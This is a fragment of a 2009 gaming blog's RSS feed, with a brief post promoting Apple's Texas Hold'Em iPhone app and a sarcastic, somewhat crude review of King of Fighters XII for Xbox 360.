<p>Thanks <a href="http://hardware.slashdot.org/story/09/08/18/1534231/Worlds-Only-Diesel-Electric-Honda-Insight">Slashdot</a>!</p>
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		<title>Apple iPhone Texas Hold’Em</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/7azAMSyviu0/</link>
		<comments>http://www.breakitdownblog.com/apple-iphone-texas-holdem/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 15:41:17 +0000</pubDate>
		<dc:creator>Riyad Kalla</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[app store]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[gambling]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Texas Holdem]]></category>

		<guid isPermaLink="false">http://www.breakitdownblog.com/?p=6418</guid>
		<description><![CDATA[
Poker apps quickly became one of the most popular genres when Apple release the iPhone and App Store, and for good reason. Not only do millions of people around the world love to play poker, but it&#8217;s a great fit for the iPhone in general, as it lets people enjoy the game of poker no [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/iphone-apple-texasholdem.jpg"><img class="size-large wp-image-6419 aligncenter" title="iphone-apple-texasholdem" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/iphone-apple-texasholdem-500x195.jpg" alt="iphone-apple-texasholdem" width="500" height="195" /></a></p>
<p>Poker apps quickly became one of the most popular genres when Apple release the iPhone and App Store, and for good reason. Not only do millions of people around the world love to play poker, but it&#8217;s a great fit for the iPhone in general, as it lets people enjoy the game of poker no matter where they are. If you&#8217;re going to while away a few hours playing a game on your iPhone, why not do it playing poker, instead of yet another random puzzle game moving blocks or jewels around, with very little strategy or thought involved.</p>
<p>Apple itself quickly jumped on the poker bandwagon, releasing their internally developed <a href="http://www.apple.com/apps/holdem/">Apple Texas Hold&#8217;Em</a> app shortly after the iPhone was released. It quickly shot up the charts as one of the most popular <a href="http://www.breakitdownblog.com/top-iphone-poker-apps/">iPhone poker apps</a>, and for good reason, as it offers a great way for beginning and advanced poker players alike to enjoy their favorite game. The app has continued to prove to be very popular since it&#8217;s release, as it offers a quick, easy way to jump into a game of poker whenever the urge strikes you.</p>
<p>Apple Texas Hold&#8217;Em is primarily designed to let you battle it out on the felt with a variety of animated computer opponents. The developers built in artificial intelligence into the computer players, so they actually have their own tells and tendencies when it comes to how they play. Unlike other poker games where your opponents are mindless and easy to beat, you need to keep a close eye on your opponents in Apple Texas Hold&#8217;Em, as you can actually learn how to pick up on their tells and take more of their chips, more about <a href="http://en.wikipedia.org/wiki/Texas_Hold%27Em">Texas hold&#8217;em here</a>.</p>
<p>The look and feel of the action is very polished, and you can choose from various table views and level of animation, including changing the location of the background of where the game is taking place. While the app is largely geared for solo play versus the computer opponents, you can play with up to eight friends if you all connect over a Wi-Fi network, so it is possible to play with other real players.</p>
<p>If you are looking to get into the action, but don&#8217;t have an iPhone and want to know more about the game you can find some great tips from this <a href="http://www.pokerlistings.com/texas-holdem">texas hold&#8217;em</a> resouce, including official rules, strategy play and more.</p>
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		<title>King of Fighters XII (Xbox 360) Review</title>
		<link>http://feedproxy.google.com/~r/breakitdownblog/~3/yp_l8_4DNRs/</link>
		<comments>http://www.breakitdownblog.com/king-of-fighters-xii-xbox-360-review/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 23:42:44 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Gaming]]></category>
		<category><![CDATA[bad graphics]]></category>
		<category><![CDATA[buggy]]></category>
		<category><![CDATA[Ignition]]></category>
		<category><![CDATA[King of Fighters]]></category>
		<category><![CDATA[multiplayer]]></category>
		<category><![CDATA[poor quality]]></category>
		<category><![CDATA[Street Fighter IV]]></category>

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		<description><![CDATA[
Summary [ 5.5 out of 10]
King of Fighters XII brings the long running mash up series into current gen but developer Ignition apparently didn&#8217;t notice as there is very little upgrading or innovation going on here.  This &#8216;effort,&#8217; if you can call it that, looks and plays last gen and charging $60 for this [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center; "><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-box-art-front.jpg"><img class="size-large wp-image-6409 aligncenter" title="king-of-fighters-xii-box-art-front" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-box-art-front-425x600.jpg" alt="king-of-fighters-xii-box-art-front" width="425" height="600" /></a></p>
<h3>Summary [ 5.5 out of 10]</h3>
<p>King of Fighters XII brings the long running mash up series into current gen but developer Ignition apparently didn&#8217;t notice as there is very little upgrading or innovation going on here.  This &#8216;effort,&#8217; if you can call it that, looks and plays last gen and charging $60 for this should get you 10 to 20 and count as at least two strikes.</p>
<p>It can be an amusing distraction if you are playing against someone sitting next to you but mostly just makes you think of other fighting games you&#8217;d rather be playing and maybe that you should go and see about cleaning the toilet.</p>
<h3>Introduction</h3>
<p>I&#8217;ve at least dabbled in just about all of the <a href="http://www.breakitdownblog.com/street-fighter-iv-xbox-360-review/">major fighting game franchises</a> since I was in high school. I always found the SNK fighters fun and interesting if not particularly original. The King of Fighters series is something of a best of collection of those games although it disregards <a href="http://en.wikipedia.org/wiki/Samurai_Shodown">Samurai Shodown</a> and <a href="http://en.wikipedia.org/wiki/World_Heroes">World Heroes</a>. The series has seen iteration after iteration over the years and this one was meant to revitalize the series.</p>
<p>I haven&#8217;t played King of Fighters in years so I am not sure how much the most recent installments have flagged in quality but if this is a step-forward then I am surprised those games actually booted up when you pressed the power button. The game retains the three-on-three format in which you choose three characters and fight against your opponent&#8217;s three. If one of your fighters loses, the next one steps up while your opponent&#8217;s health bar refills a bit for the next brawl. There is no &#8216;tag-team&#8217; option to swap characters but you do get to set the order in which to use them. And that is pretty much all there is to the game.</p>
<h3>The Great</h3>
<ul>
<li>Other Fighting Games: Seriously, spend an hour with this one and it doesn&#8217;t matter how burnt out on Soul Calibur 4 or Street Fighter 4 you are, they play like a dream.</li>
</ul>
<h3>The Good</h3>
<ul>
<li>The Engine: The fighting engine is pretty solid. It isn&#8217;t the best or most exciting gameplay you will find but there is nothing really wrong with the basic mechanics of the engine. There are combos and strategies that work well and the character balancing is generally okay. Some of the special moves and attacks have strange trajectories and ranges but when used properly they fit well with the stylized characters. At its most basic level, the fighting system works with no major hiccups.</li>
</ul>
<ul>
<li>Animation: All of the actions and movements are fluid and have just the right amount of style. The dynamic camera is used to good effect zooming in and out during the action and the movement looks really good.</li>
</ul>
<ul>
<li>Character Design: The character design here is interesting and quirky. Some of the characters are fairly standard, but the majority of them are stylized and different. The hair in particular is noteworthy.</li>
</ul>
<p style="text-align: center; "><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-character-select.jpg"><img class="size-large wp-image-6410 aligncenter" title="king-of-fighters-xii-screenshot-character-select" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-character-select-500x281.jpg" alt="king-of-fighters-xii-screenshot-character-select" width="500" height="281" /></a></p>
<ul>
<li>Local Multiplayer: Playing with someone in the room with you is pretty fun. Because the engine is solid and hopefully your friend isn&#8217;t brain dead you can have some decent fights this way. You are given the option to do a straight one-on-one fight or the full three-on-three brawl. The special moves are flashy and using a pink haired school girl with sparkly magic to knock Terry Bogard on his ass is pretty funny and great for trash talking.</li>
</ul>
<ul>
<li>Controls: The controls are pretty responsive even with the 360&#8217;s garbage d-pad. An option for Simple special moves helps level the playing field if you don&#8217;t have a fight stick or a decent fighting game controller.</li>
</ul>
<h3>The Bad</h3>
<ul>
<li>Graphics: While the animation is top-notch the same cannot be said for the graphics. The game looks so pixelated  that it would be at home on the SNES. Maybe I am spoiled at this point but the characters and backgrounds have more blocks on them than a 10-round game of Tetris. The lighting is really weird too. I think it was meant to suggest shadows but mostly it just looks like you are playing at an arcade where the monitor is about to go out. Things look intermittently fuzzy and the pretty animation gets buried in murkiness. One would think that putting a game out for the first time on current gen consoles would mean the hand drawn animation style would be sharp and detailed but one would be wrong. I think that there is a distinct possibility that I could produce smoother and more detailed characters with the basic art program on my lap top. Don&#8217;t let the screen shots fool you, when you start playing the game you will wonder if it is the same one.</li>
</ul>
<p style="text-align: center; "><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xiii-screenshot-blurry-pixelated-graphics.jpg"><img class="size-large wp-image-6411 aligncenter" title="king-of-fighters-xiii-screenshot-blurry-pixelated-graphics" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xiii-screenshot-blurry-pixelated-graphics-500x282.jpg" alt="king-of-fighters-xiii-screenshot-blurry-pixelated-graphics" width="500" height="282" /></a></p>
<ul>
<li>Presentation: Everything about the presentation is lack luster. The goofy anime scenes in the beginning, middle and end of the game look and sound terrible and add absolutely nothing to the proceedings aside from irritation and they take away precious seconds of your life that you will never get back. The menus are bland and difficult to navigate. This seems like a small thing but if you choose the wrong character, which happens easily as there is lag when you highlight a portrait to display the character name and model, you are unable to back out of the selection. You have to quit to the main screen and start again.Finding options is annoying and reconfiguring the controls for a fighting stick takes far longer than it should. The stage backgrounds look really bad and make no sense at all. One stage is set in Paris and features a crowd of fat women eating at tables and having epileptic fits while watching the action. At the end of the fight, a killer whale breeches and arcs behind the crowd. I have no idea why. The voice work is bad too but that is going to get its own bullet point.</li>
</ul>
<p style="text-align: center; "><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-fat-women-background.jpg"><img class="size-large wp-image-6412 aligncenter" title="king-of-fighters-xii-screenshot-fat-women-background" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-fat-women-background-500x281.jpg" alt="king-of-fighters-xii-screenshot-fat-women-background" width="500" height="281" /></a></p>
<ul>
<li>The Voice Work: Alright so I get that they wanted to have the ring announcer sound Asian. I hated when Street Fighter went to an effeminate dude saying &#8216;Go for BROKE!&#8217; in the Alpha series but even he would beat what is offered up here. At the very least they could have gotten someone who can pronounce English properly. As it stands the girl sounds like Alex Borstein&#8217;s Mrs Swan character from Mad TV. I understand that in Japanese the R sounds like an L but having the announcer say &#8216;LEADY? LO!&#8217; really doesn&#8217;t cut it and might actually be offensive to Asians. It is offensive to my ears anyway and I think I am owed reparations.</li>
</ul>
<ul>
<li>No <a href="http://www.upmyownass.com/mai-shiranui-the-only-reason-i-liked-video-games-so-much/">Mai</a>: This is criminal and cost the game a whole point. What were they thinking? She even showed up in a Samurai Shodown game for godsakes and that wasn&#8217;t even era appropriate. And yeah I know she wasn&#8217;t playable and just showed up during a character&#8217;s ending but her boobs were there and that is all that matters. Poor form.</li>
</ul>
<ul>
<li>Variety: There is none. You have a six match arcade mode, a versus mode and a training mode. That is it. Nothing unlocks, there are no extras. When you can conceivably beat the game in under 6 and a half minutes (there&#8217;s an achievement for it) you can see that this will get old very quickly. The first time I sat down with it, I beat it four times and used the remaining 20 minutes in that hour to clean out the cat box and put a pizza in the oven. Every-time you come back to play it is the same thing over and over again. Sure fighting games tend to be repetitive but most of them at least try to give you a reason to come back. Given the broken presentation and aesthetics this game seems to be DARING you to come up with a reason to play. So far masochism is the only reason I can think of that stands up to scrutiny.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-bad-graphics.jpg"><img class="size-large wp-image-6413 aligncenter" title="king-of-fighters-xii-screenshot-bad-graphics" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-bad-graphics-500x285.jpg" alt="king-of-fighters-xii-screenshot-bad-graphics" width="500" height="285" /></a></p>
<ul>
<li>Online Multiplayer: Wow. I can&#8217;t say enough bad things about the online component. One of the coolest things about the current gen for fighting games is the ability to play other people without having to have them over to your place or  go out to an arcade. Given how bad this feature is on KOF XII I wish they hadn&#8217;t even included it. Now I have nightmares about Street Fighter IV behaving this way and it makes me cry. Playing against another person online in this game is sort of like watching one of those flickering shadow boxes that animates herky jerky characters on the wall by spinning while light shoots through only with less control. The laggiest NES game in history didn&#8217;t lag as much as online battles do here. It flickers so much that I was afraid I was going to get a migraine. In a game like this with few features, a solid multi-player could have really saved it. As it is, it just sank it further in a sea of regret and squandered potential.</li>
</ul>
<ul>
<li>Control Assignments: This is an odd bullet point because the engine is generally good and the fighting is okay but some of the characters have odd control assignments. KOF XII follows the standard fight game conventions of quarter circles forward and back and charging either back or down and then forward or up. Nothing new here, but in certain cases it seems like the control assignments for the moves were counter to the moves&#8217; intent and got in the way of proper usage. The best example of this is Leona Heidern who is an odd charge fighter. She has an air cancelling move and a sword slash to ward off an advancing opponent. The control assignments for this are backwards and counter intuitive. If someone is performing a jumping attack, it make sense to do a defensive crouch, which would charge the move, and then pop up to counter attack. In Leona&#8217;s case the move is a charge back and forward which tends to move your character out of range of the attack and renders the move useless. Likewise, charging down when someone is advancing on you spoils the flow of movement and makes this a hard move to hit with. Things like this take away from any sense of polish and hurt the over all experience.</li>
</ul>
<p style="text-align: center;"><a href="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-charge-attack-terry.jpg"><img class="size-large wp-image-6414 aligncenter" title="king-of-fighters-xii-screenshot-charge-attack-terry" src="http://www.breakitdownblog.com/wp-content/uploads/2009/08/king-of-fighters-xii-screenshot-charge-attack-terry-500x270.jpg" alt="king-of-fighters-xii-screenshot-charge-attack-terry" width="500" height="270" /></a></p>
<ul>
<li>Lack of Story: In <a href="http://www.breakitdownblog.com/street-fighter-iv-xbox-360-review/">my Street Fighter IV review</a> I suggested that I would prefer no story to a half assed one that made no sense. KOF XII has made me rethink this. If you aren&#8217;t up on the series you would have no idea at all who any of these people are and why they are fighting. Having no context for the characters is a drag and in the absence of ANY other substance in the game it hurts that much worse.</li>
</ul>
<h3>Conclusion [5.5 out of 10]</h3>
<p>I am not sure what happened here. Maybe the game was in development before there were worthwhile fighters on the market and they thought they didn&#8217;t need to make any sort of effort but with <a href="http://www.blazblue.com/">Blazblue</a> (which I haven&#8217;t played but hear wonderful things about) and Street Fighter IV out at retail and plenty of 2D arcade fighters available online this game looks that much worse.</p>
<p>The gameplay can be fun but you have to work to find that fun far harder than any game should require. If it weren&#8217;t for the solid local multiplayer, it would have scored a two or three. As it is, if you have to play every KOF XII game there is as some kind of psychosis then rent it. If you buy this thing at retail at any price then you make the baby Jesus cry as well as causing God to kill a kitten. Please, think of the kittens.</p>
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